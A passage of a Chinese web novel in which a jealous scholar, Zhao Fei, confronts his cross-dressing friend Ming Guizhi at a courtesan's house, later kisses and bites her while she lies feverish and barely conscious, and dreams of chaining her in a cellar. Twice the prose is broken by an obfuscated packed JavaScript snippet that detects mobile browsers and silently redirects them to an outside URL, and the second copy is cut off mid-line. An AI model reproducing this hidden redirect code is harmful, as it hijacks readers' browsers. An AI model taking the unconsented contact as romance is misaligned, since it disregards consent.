他退两步踩进青苔，笑声惊得麻雀又扑棱棱飞起：“是梦，是在梦里！” “不痛？” 方靖捂着脸问他。 “对，你瞧，我扇得那么用力，却丝毫不觉痛！”赵斐朗声大笑，自顾自接过他怀中酒埕：“所以这一定是梦，你我都只是梦中人！” “哦？” “我说昆玉那般清风明月的人，怎会着了那妖妇的道？” 檐头有延出墙的杏枝，梢头麻雀被他笑声惊起。 撞碎一角薄雾。 赵斐还在叨念：“什么‘换了四盆水’、什么‘摇床’，我明郎怎会是那样堕落放纵的人……” “诶，允书！”方靖唤了他一声。 “嗯？” 赵斐笑着弯腰，把酒埕放置檐下，又步履轻盈地往马车去，准备搬另一埕。 “你扇的是我的脸，”方靖的声调其实不冷，但落到赵斐耳里，却寒得能刮下霜花，“你的脸又怎会觉得痛？” 杏枝颤了颤。 一滴冷露砸在赵斐后颈。 这话似一把尖刀，嘶啦一声割开他的梦。 方靖向前一步，扬手一挥，猛扇他一巴掌。 “你应该扇你自己才对。” 赵斐右颊霎时火辣辣烧起来，十足十有人往皮肉里塞了把炭火屑。 他脸上刺痛，但心里更痛——这不是梦。 陶埕“咣当”跌碎。 酒液漫过苔痕，裹着碎陶片，似谁打翻琉璃盏，碎出一地琥珀色。 “还是梦么？” 方靖问他。 赵斐觉得心里被他扇出一个缺口。 风与雾汹涌地灌进去。 又迷离，又狼藉。 “不是梦，”他木木的，喉头忽尔哽咽：“这不是梦……” 晨风刮落几片杏花，打着旋儿落在酒滩里。 像是谁随手撒的纸钱。 …… 巳时三刻，微雨霏霏。 教坊西侧绣楼，纱窗润出团灰灰的影子。 明桂枝睁眼时，鎏金帐钩挂着半截罗带，晃晃悠悠，像条碧青的蛇。 关倩兮上半身只剩个绯色肚兜，雪臂紧紧搂着她脖颈，似怕她潜逃一般。 明桂枝刚挪半寸，额角便麻麻刺痛，像有人拿银针挑她脑仁儿。 昨夜的蒙汗药太狠辣，残劲儿裹在骨头缝里，四肢如灌了铅重。 大约是她动静有点大，关倩兮睫毛颤了颤，绿眸子倏地睁开。 那瞳孔映着绣金帐纱的碎光，好像夜里的两粒萤火。 见明桂枝仍在她臂弯里，她笑出个小酒窝。 翡翠镯子顺着雪臂滑到明桂枝腕上：“可别想悄悄逃掉。” 指尖划过明桂枝锁骨，惊得她一缩。 绯色肚兜蹭着明桂枝半敞的黛色圆领袍。 金线绣的并蒂莲都揉皱了。 “相公……” 声线甜得发腻，跟泡在蜜罐里烂透了似的。 “别、别这样叫我！” “那……明郎？”关倩兮挑眉一笑，朝她耳边吹气：“这样唤你可好？” “随、随便你！” 明桂枝的脸一下子红了。 关倩兮忽地收臂，绿宝石璎珞硌得她锁骨生疼。 明桂枝几乎是在她怀里挣扎：“我不逃，拜托，松开些……” “做戏做全套。” 关倩兮伏在她颈侧，远看仿佛二人在缠绵。 她压低声量：“平日里，午时有人来收拾绣房……若被看到你我生分，那可要露馅了哟。” 说着，反手撩开锦帐。 有股醇厚的、类似皮革的气味，混着雨腥气扑进来。 浓烈得明桂枝鼻腔一窒。 “什么味道？” 关倩兮倚着她肩膀嬉笑：“麝香。” 绿眸像雨后的翠竹叶，湿漉漉泛着幽光。 “为什么用这么多？” 明桂枝揉了揉鼻子，那味道呛得她皱眉。 “好熏……好臭！” 关倩兮凑近明桂枝耳畔，一边笑，一边极轻声说出缘由。 明桂枝耳尖倏地泛红，十足有人往那儿泼了杨梅汁。 红晕顺着耳廓爬，漫过修长的脖颈，直烧到锁骨窝里。 关倩兮的翡翠镯子恰磕在她颈侧。 凉意激得那抹嫣红更艳三分。 “就、就算如此，也不用熏得那么浓吧？” 明桂枝羞得声音都哑了。 关倩兮绿眸子眯成两道细缝，亮晃得像蛇的眼。 笑声掺了蜜：“你我昨晚……可是要了十次水呢。” “天哪……” 明桂枝羞愧得把头埋进被褥。 “那个赵斐，” 关倩兮冷不丁问她：“和你明家不是有仇的么？” “嗯……你也听说过？” “谁还不知道呢，说书的都说腻了……所以，你用他的名义来教坊，是要毁他名誉？” “不是。” 被褥里热气蒸腾，裹着明桂枝，害她颊上红云层层叠叠，仿佛宣纸上晕开的海棠胭脂。 “不是？” “我俩关系没那么差。” “哦？” “同生共死过，他为救我还受了伤。” “唔——” “唉，他说，想我做他妹夫……” “他不知道你是女子？” “不知道……” “有趣。” …… 午时二刻。 天边的云脚压得极低。 四周都泛着潮气。 赵斐策马过街，芦灰色云缎早被汗浸透，紧贴在身，活似一层蜕不掉的蛇皮。 马鬃扫过教坊的石狮，直直冲过垂花门。 晃了晃廊下金丝笼，惊得画眉乱撞。 ——“让开！” 他猛勒缰绳，马儿前蹄扬起，撞翻门前酸枝木花几，芍药盆碎一地。 守门龟奴刚要骂，抬头望见赵斐眼里淬着寒星，话头噎住，化作两声干咳。 嬷嬷从回廊转出，扭着水红色汗巾问：“官人寻哪位娘子——” 话音未落，赵斐的马鞭梢已点上她眉心，云缎袖口蒸着汗气：“人在哪？” “哟，您是昨晚的——”嬷嬷仔细瞅他眉目，认出了赵斐。 帕巾掩着嘴角笑纹：“您寻那京城来的贵人……”眼风往西面一溜，檐角铜铃正巧叮当，“人家与关娘子……还未‘忙’完呢！” 赵斐只觉得太阳穴突突直跳，手心不住沁冷汗，几乎攥不住马鞭。 天边滚过闷雷。 雨点淅淅沥沥落下。 闷了一天的雨，终于下了。 小婢女捧着铜盆从回廊转出来。 盆里积攒换洗的床单、亵布，皱成一团，星星点点地，沾着不明污渍。 她撇着嘴嘟囔：“嬷嬷，关娘子那房间，腥得腌臜人......” 嬷嬷捏着帕子笑：“一夜换十回水呢！不腥才有鬼……” ——“十回！” 策马追来的方靖也听到，他惊得嚷出声。 酱紫袍角扫过门槛。 他慌失失翻下马，跌跌撞撞扑到廊柱前，像只湿了翅的酱鸭。 “他身上的伤还未好，大夫说他气血两亏……十回！十回！” 手指头掰得咔咔响，仿佛在数明桂枝的阳寿。 “说！”赵斐的鞭子“啪”地抽落嬷嬷身侧，“他们在哪里？” 嬷嬷吓得抽气，颤颤往西侧一指：“那、那栋绣楼……” 赵斐碾过满地狼藉，云缎袍摆沾了泥，乱成一团糟。 方靖还在后头絮叨。 “哎呀！这气血两亏最忌房劳……” “唉，早知道就不让他替我，竟这般没定力。” “姓关的妖妇如此虎狼，也不怕弄出人命！万一，万一！昆玉‘马上风’，那怎办？” 话音被一声又一声闷雷劈碎。 雨前风掠过回廊，卷起西侧绣楼的层层青色纱幔。 深深浅浅的青色、森色，重重叠叠。 赵斐觉得这青绿眼熟得很。 像极那场荒唐的梦里，他与“明郎”初次欢好的那片松林。 …… 暴雨如帘。 明桂枝昏沉沉陷在锦衾里。 时而醒，时而梦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164416|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关倩兮隔一段便摸下她额头。 她的翡翠镯子冰得渗人，不时凉得明桂枝一激灵。 “你发烧了。” 关倩兮很确定。 “嗯……前段时间受伤了，好了几天，又烧几天……” “可怜虫。” “唔……”明桂枝沉沉睁眼，却见那绿眸子浸着蜜，粉色眼影被烛火一照，如春日里极艳的桃花。 “什么时辰？”她嗓音哑得像揉了砂，指尖勾住帐幔上的流苏穗子，“我还想睡……” 关倩兮的赤足蹭过她小腿肚，绯色罗裙堆在腰间，露出雪缎似的皮肉。 “快未时了呢。” 绿宝石耳珰垂下来，晃在明桂枝鼻尖。 “你说，我要不要再让人换一回水？” “荒唐！” 雨点子砸在瓦当上。 淅沥哗啦，像雷母撒金豆子。 明桂枝仰躺望着朱色帐顶，忽想起赵斐替她挡箭时，血也是这样稠稠的颜色。 她摩挲着搭在床边的狐裘，闷声道：“赎你要多少银两？” 关倩兮指尖正卷着她一缕鬓发，闻言顿了顿。 翡翠镯子磕在床柱上，叮当一声脆响。 “二千两。” 她翻身压住明桂枝，绿眸子缩成细缝：“对你来说，不算大数目吧？” “倒是有张一万五千两的票子，却不知，这么大的面额能不能破开。” 关倩兮的指尖划过她耳垂，笑说：“京城的公子都这般富贵？随手一张银票便是一万五千两。” “全副家当，有二千两还是新赚的……” “什么样的官司，一赚就是二千两？不对，你这市舶司使还未上任呀？” 暴雨泼进槛窗，打湿半幅纱幔。 明桂枝想起与赵斐在德州时的经历，叹了口气：“是平粮价赚的汤药钱……” 话到一半，关倩兮的蔻丹骤然点上她唇珠。 “嘘——” 绿眸子往门外一斜，“唤我名字。” “什么？”明桂枝还未回神。 关倩兮轻轻蹙眉：“算了，我自己来吧。” 说罢，她张开了嗓子，朝门外高声唤叫。 “啊，明郎，明郎——呀！” 银铃似的混着雨声。 这一嗓子惊得明桂枝翻身而起，黛色袍襟扫翻床头的鎏金香炉。 ——“哐当”！ 她一把捂住关倩兮的嘴：“你疯了么！” 关倩兮贴着她耳垂呵气：“门外有人。 明桂枝霎时僵着身子。 她一时竟不知该如何接这戏。 关倩兮是个抢戏的花旦，压根儿不在乎这戏有没有生角。 她拔高声调：“呀，官人——明郎，明郎，饶命哪！” …… 门内叫唤声放纵，应和着暴雨雷鸣，如一曲湿漉漉的小调。 赵斐的指节扣在门框上，青筋如蚯蚓般隆起。 那门只虚虚掩着。 仿佛巴不得有人来偷窥。 透过门缝，他望着帐中纠缠的黛色与绯色，喉头倏地哽住。 就像有人往他嗓子眼塞了把粗盐，指甲深深掐进木纹里，碎屑扎进皮肉竟不觉痛。 方靖的絮叨声忽远忽近，像隔了层油纸。 漫出门外的麝香气味，好似有温度一样，灼得他五脏六腑都起了燎泡。 他知道这气味。 昨晚的梦，还有不久前那荒唐的梦，都萦绕这麝香味。 只是远远不及如今浓烈。 那妖妇的叫喊声，混着翡翠镯的泠泠声，活似冰锥子往他耳膜上扎。 “明郎”…… 她唤昆玉“明郎”。 ——“嘭！” 门轴发出裂帛般的哀鸣。 赵斐皂靴碾过门槛，恰有惊雷劈开雨幕。 他望向锦帐内，那绯色罗裙翻飞。 像极刽子手刀下的血雾。 “他”记不记得“赵大小姐”也爱穿这样的绯色罗裙？ “他”曾经那么温柔地告白：“赵允书是独一无二的，无可替代……” “他”吻他耳垂，说:“我从此不敢看观音。” “他”在泥泞里翻找，只为寻他的海棠扣。 “他”爱他爱得殉情自戕。 却为何，如今…… 喉头腥甜翻涌，赵斐眼角酸得发涩。 不，不！ 昆玉只是一时糊涂。 “他”只是被有心人迷惑，受人蒙蔽。 是那妖妇的错…… 是她的错！ 是她不知廉耻！处心积虑！ 是她引诱昆玉！引诱“他”放纵，引诱“他”犯错！ ——“妖妇！” 这声怒喝劈出喉头，比惊雷还炸、还响。 …… 34.吻 青纱帐里，动物腥气浓得刺鼻。 明桂枝黛色圆领袍滑到肩膀，半截身子压在那女人的心口上。 翡翠镯磕落床柱，叮当一声脆响，要把帐外雨声比下去。 那女人绿眸子像鬼火，半眯着，看向来人。 她手指头还绕着明桂枝一缕鬓发，来回打转。 像毒蛇吐信。 赵斐攥紧剑柄，握得指节泛白。 他目光掠过“他”脖颈上的胭脂印。 雪色底子浮着斑驳红痕，似朱砂笔乱点而成的落英。 最刺眼处，还有道月牙状齿痕，恰落在肩头，白瓷瓶口镶了圈珊瑚边。 星星点点的红，似拿他心头血染的，害心口有团压不住酸火，烧得喉咙泛腥。 “明郎……” 关倩兮瞥了赵斐一眼，起身搂紧明桂枝脖颈。 楼外雷声隆隆，女子颤声如风中柳絮。 “明郎，他……是谁?” 那声儿甜得发齁，软软的、飘飘的，叫人无法不疼惜。 但声声“明郎”，激得赵斐怒火中烧。 “闭嘴！” 他踏前一步，厉声喝道：“妖妇，不许你这样唤他！” 关倩兮偏偏不从他愿。 “明郎……他好凶，好吓人。” 她缩到明桂枝怀中，云鬓蹭得散乱，似暴雨打过海棠枝。 呜咽声像浸了蜜的蛛丝，黏黏糊糊缠上房梁：“奴家不是妖妇，奴家好怕，好怕……明郎，你要护我，明郎！” 偏偏，绿眸里没有半丝惧意。 在明桂枝看不到的角度，她朝赵斐挑了挑眉，嘴角泛起轻蔑的笑意。 “妖妇！” 赵斐自然知道她是故意的。 怒火攻心之下，猛一拔剑，直往关倩兮咽喉去。 一边厉喝：“我今日替天行道，省得你祸害人！” 宝剑青锋映着窗外电光。 剑尖划过一道黛色。 竟是明桂枝扑了过来，挡下致命一击。 雪白肩膀落下深深血痕。 剑锋凝在半空。 赵斐的手比楼外雨还冷。 明桂枝的血珠顺着剑脊滚落，在剑锋上烫出蜿蜒的红。 像一道赤绳，绞得他心痛。 “你护她。” 赵斐听见自己一字一顿吐这三字。 竟比剑刃更割嗓子。 明桂枝轻轻蹙眉——这神情他太熟悉。 德州遭伏那次，“他”也是这样轻轻蹙着眉，为他挡下致命一刀。 所以，“他”愿意以命相护的…… 原来不止他一个。 明桂枝尚在高烧中，烧得面颊酡红，杏眼蒙着水雾。 “允书，”她喘得厉害，喉咙里像塞了团湿棉花，“别冲动……” 赵斐剑尖颤动。 不是怕。 是疼。 疼得像有人拿铁蒺藜在他心尖上滚。 滚过豫东书院共度的梅雨季，滚过芦苇荡一起看的星夜。 滚过景州听的书。 滚过德州雨夜共吃的馄饨。 滚碎他那个荒诞不羁的梦。 “你为她……情愿死？” “杀人是犯法的……而且，她有什么错？” “有，罪大恶极！” 赵斐冷冷道：“她勾引你，迷惑你。” 雨珠子断了线，滴滴答答砸落。 明桂枝叹了口气。 赵斐样样都很好，人品更是一流，对朋友仗义，对百姓关怀。 但是，这大男子主义的想法，她实在难以苟同。 在他的角度，一个男子与教坊女子欢爱，就一定是女子勾引吗？ 为什么不可以是那男子好色？ “允书，”她静默好久，终还是道：“这种事情，男子不愿意的话，难道女子还能强迫？” 赵斐不应，只死死盯“他”看。 偏偏“他”还接着道：“你情我愿、两相欢愉的事情，为什么要说‘勾引’、‘迷惑’？” 关倩兮原本拭着明桂枝肩膀的血，闻言指尖一颤。 绿眸敛了一下，似要凝住眼角湿意。 雷声碾过屋脊。 “两相欢愉……” 赵斐嚼碎这四个字，舌尖尝到铁锈味。 原来，嫉妒是柄没开刃的刀。 捅人时不够痛快，却能在五脏六腑里慢慢绞。 他觉得手臂发麻。 差点握不住剑。 “明桂枝，你堕落了。” 第一次，他连名带姓唤“他”。 明桂枝也觉得难受。 她第一次察觉与赵斐有代沟——假如他知道自己是女子，会怎样看自己？ 身为女子，女扮男装到书院读书，与那么多同龄男子朝夕共处…… 赵斐心里，究竟会怎么看待？ 发烧导致的头痛袭来。 明桂枝的耐心渐渐消磨殆尽。 她赌气回道：“那也是我自甘堕落。” 剑，终于坠落。 “哐当”一声。 赵斐竟忍不住笑了笑：“好一个‘自甘堕落’！” 说罢，他转身往雨幕里走。 暴雨浇透云缎，衣摆吸饱雨水，沉甸甸，却远远不及他的心沉，简直沉到地狱的最深深处。 …… 马鬃甩出水珠子，溅在唇上。 咸得像泪。 马蹄踏碎水洼里的天光，承载赵斐一路狂奔到郊外。 他伏在马背上，心里是无穷无尽的涩。 心脏强烈抽搐，痛感无时无刻提醒他——哪怕是为了二妹，这着紧的程度也太过了。 赵斐这才不得不承认：他紧张，他愤怒，他冲动，他绝望……完完全全是为了他自己。 他放纵自己一次一次沉溺那荒唐梦境。 他妄想用家人的身份留住“他”。 他嫉妒得发狂，以致差点杀了一个罪不至死的人。 自甘堕落。 “他”自甘堕落，他又何尝不是？ …… 雨，渐渐变小。 城郊河滩，芦苇让雨压弯了腰。 白絮黏在泥泞里，似打翻棉线筐子。 赵斐翻身下马，不虞踩断根芦管。 脆响惊飞了苇丛鹡鸰。 那鸟“倏”一下掠过水面，翅膀尖扫起圈圈涟漪。 方靖也追了过来。 蓑衣套在酱紫衣衫外，人又骑在白马上，像一团露馅的香芋汤圆。 “允书，你太不惜身了！” 方靖一边拴马，一边抱怨：“要是你也感染风寒了，那我岂不是要照顾两个病号！” 赵斐不语， 他盯着河面水痕，腹诽反驳：你何须照顾两个？明桂枝不是有那妖妇照顾么？ 转念又想：让那妖妇照顾“他”，迟早“马上风”！ “哼！” 竟忍不住说了出口：“‘马上风’也是他活该！” “别这样，随口的咒往往最灵验！”方靖递来的酒葫芦，“再说，他病着身子，还一晚十次……” 他长叹口气：“指不定真的就……” 赵斐一把接过酒葫芦，猛灌了一大口。 辣味混着雨后草腥气，直往喉头钻，燥得他满身发烫。 风吹过。 河岸乌桕簌簌抖落叶子，露水坠在赵斐手背，凉意蛇一般往袖里钻。 冰火交织的触感，令他恍惚间坠入时空裂缝。 “你不知道，”赵斐声音无端沙哑：“在书院的时候，他们谈论那些龌蹉私事，昆玉他从不接话……” “他躲到废亭里读书，读欧几里得，读阿波罗尼奥斯，读柏拉图，读阿里士多德……” “他只穿黛色衣袍，他午餐只吃包子，就为了多翻几页书……” “他根本不是会沉溺物欲的人！”赵斐转头看向方靖：“他不是！他不是……” 方靖稍稍愕然。 ——赵斐眼尾洇着薄红，似乎下一秒就要落泪。 他无措地拍拍赵斐肩膀，叹道：“你多体谅他，他这段日子经历太多……” “嗯。” “明将军失踪，他又患了失魂症，还几次被埋伏、追杀……他再自持，亦难免有脆弱寂寞的时刻。” 赵斐仰头饮尽葫芦底最后一口酒。 “为什么非得是那个妖妇？” 他依然不忿—— “你不知道，昆玉他不止精于策略，还写得一手好书法，圣上御笔批赞……” “他骑马射箭亦是一流，百步穿杨，圈圈正中红心……” “他弹《广陵散》，绕梁三日……他画吴江水，堪比并州快剪刀……” 赵斐长长叹一口气：“他是这世间最好的男 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“他该不会又……”方靖讶然道：“天哪，这妖妇……非得把人糟践没了才安心？” 赵斐脸色沉得似玄铁，不发一言往那西侧绣楼去。 半路撞上个水红的身影，原是那教坊嬷嬷。 “哎哟，可盼到您二位回来了……” 她手里的灯笼晃得厉害，袖口沾着艾草灰：“那位贵人烧了足足三回，肩上的伤还渗着血，一直醒不来……” 赵斐心头一坠，比方才还慌。 “那妖、关氏呢？”方靖问。 “关娘子亲自盯着火候，说寻常大夫开的驱风散热汤太寒，要换桂枝龙骨牡蛎......” 话音未落，方靖高呼：“糊涂！昆玉正吃着柴胡鳖甲散，这桂枝下去不冲了药性？”他急急往大门去：“允书，你赶紧截住那妖妇的药汤，我去把县衙的大夫请来！” 一回头，却哪还有赵斐的身影。 “算了，先把大夫请来……”方靖急急跺脚，急对嬷嬷道：“你，你赶紧去截那姓关的药，胡乱出什么主意，净是添乱……” 嬷嬷看着他匆匆离去的背影，撇了撇嘴道：“好笑，谁还能截得了那泼妇的药？” …… 绣房门帘一掀，麝香混着艾草味扑得人鼻腔发酸。 明桂枝裹在狐裘里，面色比窗纸还透几分。 赵斐伸手欲探“他”额温，却被一声呢喃止住。 “允书……？” 明桂枝烧红的面颊往他手心温热里靠。 似那夜芦苇荡里，“他”睡着了，往他肩头蹭的模样。 “我在。” 赵斐喉结滚了滚，他抚着“他”的脸颊，只觉烫得吓人。 “允书……我头好痛……” “没事的，我在。” 赵斐疑心这是梦。 一切都太迷离。 “他”的梦呓。 他的酒意。 烛芯“啪”地爆开，惊得帐幔上的流苏乱颤。 赵斐盯着“他”烫得发红的耳尖，喉结滚了滚。 他的梦里，“明郎”总爱咬他的耳。 所以，他学“他”，伏在“他”耳畔，嗅着“他”身上的麝香味，混着他身上的酒味，浓郁得醉人。 他大概醉得很。 他嗅上“他”耳尖，忍不住舔了一口。 然后，食髓知味。 舌尖轻咬着“他”的耳垂。 一口，一口。 他想吞吃“他”。 吃了才好。 吃了才好！ 吃到肚子里，不让那妖妇沾染半寸。 “好痒……” 昆玉呓语着往热源贴，鼻尖蹭过他喉结。 他低头，看着那一张一翕的唇。 这里，会更好吃吗？ 赵斐的心跳得快要跃出来， 他捏住“他”的下颚，深深地“吃”了一口。 好甜…… 好甜。 为什么这么甜？ 他想“吃”更多。 想“吃”更多…… 35.独占 甜。 此刻，赵斐唇齿间是甜，一呼一吸是甜，满心满脑子都是甜。 比春山居的槐花蜜饯还甜，比陆羽楼的酒酿丸子还甜。 比他与“明郎”的梦还甜。 这甜带着刃。 割得他五脏六腑沁血。 偏又教人甘愿溺死在这猩红糖霜里。 他的指尖描摹明桂枝烧红的脸颊，轻得像游走在薄胎瓷上。 生怕一用力，就碎了这层薄薄醉意。 “嗯……” 怀里的“他”忽然嘤咛。 赵斐的喉结狠狠滚了滚，恍若吞下枚火炭。 “这里……”他拇指碾过“他”微肿的下唇，眼底浮起癫狂的碎光，“那妖妇也吃过？” 月色像块揉皱的银纱，斜斜搭在窗棂上。 回应他的，依旧是无意识的呢喃。 赵斐伏到“他”嘴边听。 “……倩娘？” 却听得“他”唤的是那妖妇。 “允书，” 赵斐眼尾抽了抽：“乖，唤我，我是允书。” “允书……？” “对，再唤。” “允书。” “对，是我。”他咬着后槽牙呢喃，指尖深深掐“他”发间，“你是我的，你只能是我的……” 腥味漫过唇间，原是他发狠咬破“他”下唇。 他咬住那白玉似的颈子，犬齿叩在跳动的血脉上，倒像是要啜饮“他”魂魄。 明桂枝的鬓发散作鸦羽，缠住他指节，如千丝万缕孽债。 窗棂外探进枝晚香玉。 影子落在锦被上。 一摇一晃，晃得人心尖发痒。 ——“砰！” 门外传来花器碎裂的声音。 赵斐猛然抬头，腮边红潮未褪。 他直起身，一把抓过佩剑往门外去。 只见墙头蹲着只黑猫，金瞳子亮得骇人，尾巴梢轻轻一摆，便隐进夜色里，剩半轮月亮孤零零悬着。 赵斐回到房里，蹲跪榻边，就着半明半昧的光，瞧“他”睡颜。 唇上那道咬痕泛着薄红，他来回摩挲，刚抚摸一枚新刻的章。 “你是我的。” 这话说得轻，倒像自言自语。 “谁都不能碰……除了我，谁都不能……” …… 厢房转角。 廊下积水映着个人影，绯色衫子一闪，拐进芭蕉丛后头。 药壶歪在墙根，褐色汁子洒了一地，顺着砖缝淌成条小河。 风过处，带起一丝苦香。 却瞬息混进浓郁酒气与麝香里。 …… 药吊子被搬到绣房里，咕嘟咕嘟热着药汤。 苦香漫过竹帘子，熏得窗台海棠都蔫了头。 关倩兮舀起半盏药汤，吹了吹热气，贴着明桂枝唇缝滑进去。 褐色汤润过那圈咬痕，似雪地里落了瓣红梅。 关倩兮皱着眉，盯着那道红印，拇指忽按上去。 绿眸幽深，泛起丝丝怒意。 “咳咳......” 明桂枝呛出半口药，溅湿了黛袍。 关倩兮忙扯帕子去揩，又轻轻拍她后背：“慢慢喝，不急。” 那力道放得极轻，仿佛在给新糊的纸鸢上浆，重一分便要破了。 竹帘子哗啦一响。 方靖提着包荷叶糕进来，正撞见关倩兮给明桂枝喂药。 恍惚间，他竟觉得这妖妇有几分似他妻子——去岁腊月，他母亲卧病，妻子给她喂粥，也是这般低眉顺眼的温吞模样。 “衙门大夫夸你的方子好。” 方靖赔笑说道。 他觉得歉意——急匆匆地把县衙大夫请来，仿佛兴师问罪。 却不曾想，那大夫竟夸她的“龙骨、桂枝”加得妙。 “关娘子懂医术？” 关倩兮也不抬眼，自顾自叠着帕子：“奴家嫡母常年卧病在床，都是奴家伺候的，方子看多了，便略懂一些。” 手指头在明桂枝那咬痕上又搓了搓。 像是要把它搓掉。 方靖瞧着关倩兮为明桂枝喂药。 三指托着药碗底，食指扣住碗沿，药汤子纹丝不晃地喂进“他”口中。 确实是常年伺候病人的。 他又想起，昨日带着大夫到灶房找她——这娘子蹲在药炉前，拿蒲扇控着火候，炭灰染黑裙角也不曾在意。 哪似传闻里的妖冶放荡？ 大概茶楼说书人乱嚼舌根，以讹传讹罢了。 好一会儿，那药汤才喂得一半。 关倩兮扶明桂枝躺下，“他”还在发热，一下子便睡去了。 她理了理“他”散在枕上的发丝，像个母亲在照料孩子。 方靖愈发觉得她细意温柔，是自己错信谣言。 于是倍觉内疚，他脱口道：“你爹的案子，证据确凿……怕是难翻。” 关倩兮理着“他”发鬓，手一顿。 绿眸子眨了眨，如莹莹琉璃球。 “明郎说过，他要替我赎身。” 这话说得轻巧，如同在讲明儿早市买把嫩茼蒿。 方靖叹了口气：“昆玉心善，但他救不了你的家人。” “从前在关府，只有嫡母疼我，她去岁过世，我再没有家人。” 关倩兮凄然一笑：“如今，只剩明郎怜我。” 方靖怔了怔。 微风吹来，捎来一缕槐花香。 散在满屋药味里。 苦中一丝甜。 他看着关倩兮给明桂枝抿鬓角，顿觉得这二人可怜，远比那“罗密欧与朱丽叶”还苦情得多。 一个是落魄失忆的贵族公子，一个是孤苦伶仃的官宦小姐。二人同病相怜，相知相爱，却为世所不容。 还要被“他”的至交好友误解…… 药吊子又咕嘟起来，水汽漫过眉梢。 方靖眼角一热：“放心，允书那边，我劝劝他。” 烛火暗了暗。 关倩兮捏着银簪拨灯芯。 “说起赵大人……他与明郎是那种关系么？” 方靖抿了口茶：“什么关系？” “断袖分桃呀，”火苗映着绿眸子，亮得瘆人，“听闻那些书院同窗，最易生情呢。” “咳，咳！” 方靖喉头咕咚一声，半口茶汤呛进鼻管：“胡、胡诌！他俩光风霁月，都是洁身自好的人。” 关倩兮的簪子忽地停住：“听明郎说，他与赵大人曾经同生共死过，是什么情况呢？” “说来话长，说来话长。” “明郎的事，奴家都想知道，劳烦方兄详细说……” …… 云舒客栈。 卯时。 晨光爬上槛窗，香炉里的安息香已烧成灰白。 赵斐拥着锦被坐起，中衣叫冷汗浸透，黏在脊梁骨上，像糊了层浆糊。 麝香气息比之前的都浓烈。 这次的梦，太放纵！ 饶是他醒来许久，满身都还在潮热中。 这梦的最开始，明明很平静。 他似乎还闻得到佛堂悠悠檀香。 梦里，他跪在蒲团上，还是一身绯色女装。 翡翠镯磕着楠木鱼，一声声钝响。 窗纱外头晃着继母的影子，絮絮叨叨：“昆玉都失踪大半月了，总该派人去寻……” 赵斐捻着佛珠的手顿了顿，“嗤”一下笑出声：“寻什么？许是跟那番邦妖妇泛舟去了。” 楠木佛珠硌着掌心，仿佛攥着碎冰碴子。 檀灰簌落炉里，积了半寸厚的香篆突然断了。 赵廓踏进佛堂，怒声道：“我早说姓明的没个好东西！你非不信，死活要嫁这小子，如今倒好！生不见人、死不见尸的！” 赵斐重重敲一下木鱼，“咚”地一声。 惊得长明烛晃了晃。 “明郎再怎么不好，也是女儿自找的，女儿自甘堕落。” 窗外的蝉突然噤声。 “混账！”赵廓猛拍桌案，震得花瓶一晃：“你这是怨我？” “女儿不敢，爹娘请回吧，别耽误女儿为明郎抄经祈福。” 木鱼声又密密响起，赵斐一副油盐不进的冷淡样。 “混账，混账！” 赵廓甩袖离去，带翻门边半人高的青瓷瓶。 青石地窖的霉味漫上来，混着檀香酿出股怪味。 这地道无限长，好似能下到地狱十八层。 赵斐提着琉璃灯往下走，梯级无穷无尽，走了许久才到头。 那地窖深处只有一张檀木床。 明郎蜷在被褥里，手腕、脚腕都锁了银链子。 听见脚步声，抬眼看他，满目迷离：“你是什么人？” “你又忘了。” 赵斐鎏金护甲刮过“他”颈侧。 刮出串血珠子。 “我是你结发妻子，赵斐。” 他一字一顿，似要对方把这话刻入心。 可那人愣愣问道：“那……倩娘是我什么人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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银链子当啷撞翻烛灯，地窖霎时暗了。 黑暗里又再响起亲吻声。 “忘了她，我要你忘了她。” “好。” …… 这梦很放纵。 但赵斐觉得这梦很好。 他就该把昆玉锁住。 锁在无人知晓的最深处。 没日没夜，无法无天地独占“他”。 直到“他”忘记那妖妇。 …… 晌午。 客栈天井里，日头晒得砖地泛白。 方靖拿竹筷戳了戳鸭脯，琥珀色油珠子滚进醋碟里：“那关娘子，她其实身世可怜，品性也温顺，不似外间说的……” “咔嗒”一声脆响。 赵斐掌心的竹筷断作两截，鸭油溅上袖口，鸦色杭绸洇开铜钱大的油晕。 “那妖妇给你灌了什么米汤！” “我……” 方靖不虞他反应这般大，茫然举着半块鸭翅，半晌才劝道：“你消消气，昆玉与她……唉，也算是同病相怜吧。” “同什么病，相什么怜！” 赵斐瞪他一眼。 他心里闪过那双诡异的绿眸。 ——哼，好一个妖妇，不过一日，连方靖都策反了。 跑堂的拎着铜壶过来续茶。 窗根下觅食的麻雀飞走，带起一阵穿堂风，吹得柜台上黄历哗啦啦翻过。 恰停在“忌嫁娶”三个朱砂字上。 “昆玉在人家房里，一晚上要了十回水，还病倒在她榻上……”方靖压低嗓子“这事传得全徐州都知道了，昆玉不替她赎身，岂不是害了人家？” “那妖妇就是这般算计的——把昆玉累倒在她床上，逼着他负责！” “算了，算了，带上她去杭州，总归多个人帮忙照顾昆玉。” 赵斐猛一搁筷，粗瓷汤碗晃了晃 。 “昆玉要带那妖妇去杭州？” 这话裹着三九天的霜气。 方靖着实不解，何以赵斐对关娘子如此敌视？ “既是郎有情、妾有意……难不成赎了身之后，由得她自生自灭？” 赵斐不语。 那妖妇的道行太高。 方靖看不穿，还着了道。 昨日他也太冲动，差点与昆玉都生分了。 真蠢。 自己是天下第二的榜眼郎，明明可以智取，何必硬碰硬？ 心下当即闪过一计。 “替那妖妇赎身也好。” 赵斐夹了箸酱鸭片，冷冷道。 …… 36.失策 未时，天昏昏沉沉，云压得低低的。 教坊偏厅，雕花窗棂半掩，紫藤花的影子斜斜泼落，一簇簇，像打翻靛青墨汁。 香炉飘出烟，混着脂粉气，懒洋洋溢在梁间，叫人鼻尖发痒。 